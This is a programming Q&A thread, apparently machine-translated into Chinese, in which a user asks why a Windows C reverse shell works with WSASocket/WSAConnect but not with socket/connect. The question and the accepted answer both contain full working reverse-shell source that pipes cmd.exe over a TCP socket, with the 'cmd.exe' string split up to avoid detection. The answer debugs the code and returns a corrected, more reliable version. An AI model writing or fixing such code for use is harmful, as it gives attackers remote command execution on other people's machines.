【问题标题】:Why is WSAConnect working and connect(); not?为什么 WSAConnect 工作和 connect();不是?
【发布时间】:2019-10-07 11:54:40
【问题描述】:

我正在用 C 语言尝试一些反向 shell 代码。它可以工作,但前提是我使用 WSAConnect()WSASocket()。如果我改用socket()connect(),它就不起作用。这是为什么呢?

我总是用connect() 代替WSAConnect(),用socket() 代替WSASocket()。我知道我错过了一些东西。

#include <winsock2.h>
#include <stdio.h>

#pragma comment(lib, "ws2_32.lib")

WSADATA wsa;
SOCKET sock;
struct sockaddr_in server;
STARTUPINFO sinfo;
PROCESS_INFORMATION pinfo;


int main(int argc, char *argv[]) 
{
    WSAStartup(MAKEWORD(2,2), &wsa);
    // sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); This also doesn't work
    sock = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);


    server.sin_family = AF_INET;
    server.sin_port = htons(4942);
    server.sin_addr.s_addr =inet_addr("127.0.0.1");

    // connect(sock, (struct sockaddr*)&server, sizeof(server)); This doesn't work
    WSAConnect(sock,(SOCKADDR*)&server, sizeof(server),NULL,NULL,NULL,NULL);
    if (WSAGetLastError() == 0) {

        memset(&sinfo, 0, sizeof(sinfo));

        sinfo.cb=sizeof(sinfo);
        sinfo.dwFlags=STARTF_USESTDHANDLES;
        sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE)sock;

        char *myArray[4] = { "cm", "d.e", "x", "e" };
        char command[8] = "";
        snprintf( command, sizeof(command), "%s%s%s%s", myArray[0], myArray[1], myArray[2], myArray[3]);

        CreateProcess(NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo);
        exit(0);
    } else {
        exit(0);
    }    
}

【问题讨论】:

  • WSAGetLastErrorsocket / connect 失败后报告什么?
  • 都试过了。不会出现任何错误。如果我使用socket();connect();,shell 就不会弹出。
  • 如果 socket()connect() 失败,WSAGetLastError() 将不会返回 0,除非您在检索错误代码之前采取措施清除错误代码。请提供一个 minimal reproducible example 来证明 socket()+connect() 失败。您使用WSAGetLastError() 来检查WSAConnect() 是否失败的方式是错误的,除非WSAConnect() 返回SOCKET_ERROR,否则不要调用WSAGetLastError(),您没有检查它。显示的代码没有正确进行任何错误检查。你需要解决这个问题。另外,您要准确连接到哪种 TCP 服务器?服务器是否在监听?
  • 服务器端为netcat。我得到“输出重试次数过多”
  • 该消息意味着 netcat 无法向连接的客户端发送数据。它在 8200 次尝试写入数据失败后放弃(请参阅netcat source code)。但是您声称您的客户端甚至无法连接到 netcat。那么它是哪一个?要么你正在连接,要么你没有。很难知道,因为您的代码正在进行不正确的错误检查。您是否尝试过修复它?

标签: c winsock


【解决方案1】:

socket()WSASocket() 之间存在一些差异。最值得注意的是:

  • 默认情况下,socket() 创建一个支持重叠 I/O 的 SOCKET,而 WSASocket() 允许您指定是否希望 SOCKET 支持重叠 I/O。换句话说,默认情况下,socket() 与使用WSA_FLAG_OVERLAPPED 标志调用WSASocket() 相同。但是CreateProcess() I/O 重定向需要不重叠的HANDLEs。这就是为什么您使用 socket() 不起作用的原因。

  • WSASocket() 允许您使用特定提供程序创建套接字,而socket() 使用默认提供程序(通常是 Microsoft 的)。当直接使用SOCKET 进行CreateProcess() I/O 重定向时,您需要确保SOCKET 的提供程序实际上支持这种用法。为确保这一点,您应该使用 WSAEnumProtocols() 枚举已安装的协议,直到找到支持 TCP 并具有 XP1_IFS_HANDLES 标志的协议(Microsoft 的提供程序有),然后您可以让 WSASocket() 通过其 @ 使用该特定提供程序987654341@参数。

我可以在网上找到的每个使用SOCKET 直接重定向CreateProcess() 的示例 I/O 都使用WSASocket()(但并非总是WSAEnumProtocols())。我没有看到一个使用socket() 的例子。

但是,如果你真的想使用socket(),你有两个选择:

  • 使用setsockopt(SOL_SOCKET, SO_OPENTYPE) 通过指定SO_SYNCHRONOUS_NONALERT 类型来关闭重叠套接字的创建。 Microsoft 不鼓励使用此选项,而是更喜欢使用 WSASocket()

  • 使用CreatePipe()代替实际的I/O重定向,然后根据需要在socket和管道之间手动代理数据,从SOCKET读取写入管道,从管道读取到写信给SOCKET

也就是说,您的代码未正确执行错误检查。此外,您是否真的能够连接到服务器并启动cmd.exe,然后您会立即退出您的应用程序,这会关闭套接字。您需要在cmd.exe 进程的整个生命周期内保持套接字打开。

试试类似的方法:

#include <winsock2.h>
#include <stdio.h>
#include <string.h>

#pragma comment(lib, "ws2_32.lib")

int main(int argc, char *argv[]) 
{
    WSADATA wsa;
    SOCKET sock;
    struct sockaddr_in server;
    STARTUPINFO sinfo;
    PROCESS_INFORMATION pinfo;

    int res = WSAStartup(MAKEWORD(2,2), &wsa);
    if (res != 0)
    {
        fprintf(stderr, "Can't initialize Winsock. Error %d\n", res);
        return 1;
    }

    // optional: use WSAEnumProtocols() to find a suitable WSAPROTOCOL_INFO
    // to pass to the lpProtocolInfo parameter of WSASocket()...

    sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
    if (sock == INVALID_SOCKET)
    {
        res = WSAGetLastError();
        fprintf(stderr, "Can't create socket. Error %d\n", res);
        WSACleanup();
        return 1;
    }

    memset(&server, 0, sizeof(server));
    server.sin_family = AF_INET;
    server.sin_port = htons(4942);
    server.sin_addr.s_addr = inet_addr("127.0.0.1");

    res = WSAConnect(sock, (struct sockaddr*)&server, sizeof(server), NULL, NULL, NULL, NULL);
    if (res == SOCKET_ERROR)
    {
        res = WSAGetLastError();
        fprintf(stderr, "Can't connect. Error %d\n", res);
        closesocket(sock);
        WSACleanup();
        return 1;
    }

    memset(&sinfo, 0, sizeof(sinfo));
    sinfo.cb = sizeof(sinfo);
    sinfo.dwFlags = STARTF_USESTDHANDLES;
    sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE)sock;

    char *myArray[4] = { "cm", "d.e", "x", "e" };
    char command[8] = "";
    snprintf(command, sizeof(command), "%s%s%s%s", myArray[0], myArray[1], myArray[2], myArray[3]);

    if (!CreateProcess(NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo))
    {
        res = GetLastError();
        fprintf(stderr, "Can't create process. Error %d\n", res);
        closesocket(sock);
        WSACleanup();
        return 1;
    }

    CloseHandle(pinfo.hThread);
    WaitForSingleObject(pinfo.hProcess, INFINITE);
    CloseHandle(pinfo.hProcess);

    closesocket(sock);
    WSACleanup();

    return 0;
}

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2014-05-24
    • 2016-11-05
    • 1970-01-01
    • 2023-02-13
    • 2010-09-30
    相关资源
    最近更新 更多